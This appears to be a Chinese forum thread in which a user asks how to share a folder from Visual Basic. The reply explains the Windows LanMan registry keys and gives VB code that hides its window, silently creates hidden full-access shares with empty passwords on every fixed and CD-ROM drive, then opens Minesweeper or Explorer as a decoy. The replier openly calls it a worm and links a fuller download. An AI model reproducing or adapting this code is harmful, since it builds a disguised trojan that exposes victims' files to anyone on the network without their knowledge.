请各位高手------怎样用vb程序设置文件夹的属性为共享属性(急需!!!!)

先看看原理吧：1.运行Regedit命令，打开注册表；
2.找到下面的子键
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C
                 这里的C就是共享名
              
3.在屏幕的右边，你可以看见下面的内容；
Flags 0x00000302(770)
Parm1enc (长度为零的二进制值)  共享目录的完全访问密码
Parm2enc (长度为零的二进制值)  共享目录的只读访问密码
Path "C:\"  共享路径
Re "Re By Scent Lily"  备注
Type 0x00000000(0)
所以只要在注册表中写入以上内容就可以共享C盘拉。下面是一个例子，看看吧：Option Explicit
Dim WinDir As String
Const CommonPath = "SoftWare\Microsoft\Windows\CurrentVersion\Network\LanMan\"Private Sub Form_Load()
Me.Hide
Dim buff As String, DriveNo As Integer, Result As Integer, Game
For DriveNo = 0 To 25 '遍历所有的26个驱动器
buff = Chr$(65 + DriveNo) + ":\" '取驱动器符
Result = GetDriveType(buff) '调用API函数来获得驱动器的类型
If Result = 3 Xor Result = 5 Then
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Flags", REG_DWORD, "770", 3 '写入共享的类型，这就是程序的关键所在
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Type", REG_DWORD, "0", 0
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Path", REG_SZ, buff, 4 '写入共享驱动器的路径，就是"C:\","D:\"等等
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm2enc", REG_BINARY, 0, 0 '写入共享目录的只读访问密码；
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm1enc", REG_BINARY, 0, 0 '写入该共享目录的完全访问密码；；
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Re", REG_SZ, "Re by scent lily!", 21 '写入一些注释信息，比如“香水百合到此一游”
End If
Next DriveNo
GetWinDir '获得windows目录的路径
If Dir(WinDir & "\winmine.exe") <> "" Then '如果有扫雷游戏的话就在前台执行它
Game = Shell(WinDir & "\WINMINE.EXE", vbMaximizedFocus)
Else
'因为扫雷游戏不是必装的，可能有的机器没有安装，但是资源管理器是肯定有的。所以，如果没有扫雷游戏 就启动一个资源管理器
Game = Shell(WinDir & "\explorer", vbMaximizedFocus)
End If
Unload Me
End SubPublic Sub GetWinDir() '获得windows所在目录的子程序
Dim Length As Long
WinDir = String(MAX_PATH, 0)
Length = GetWindowsDirectory(WinDir, MAX_PATH)
WinDir = Left(WinDir, InStr(WinDir, Chr(0)) - 1)
End Sub这是个蠕虫，完整的例子可以在http://scentlily.y365.com下载。
        
       怎么样，给分吧？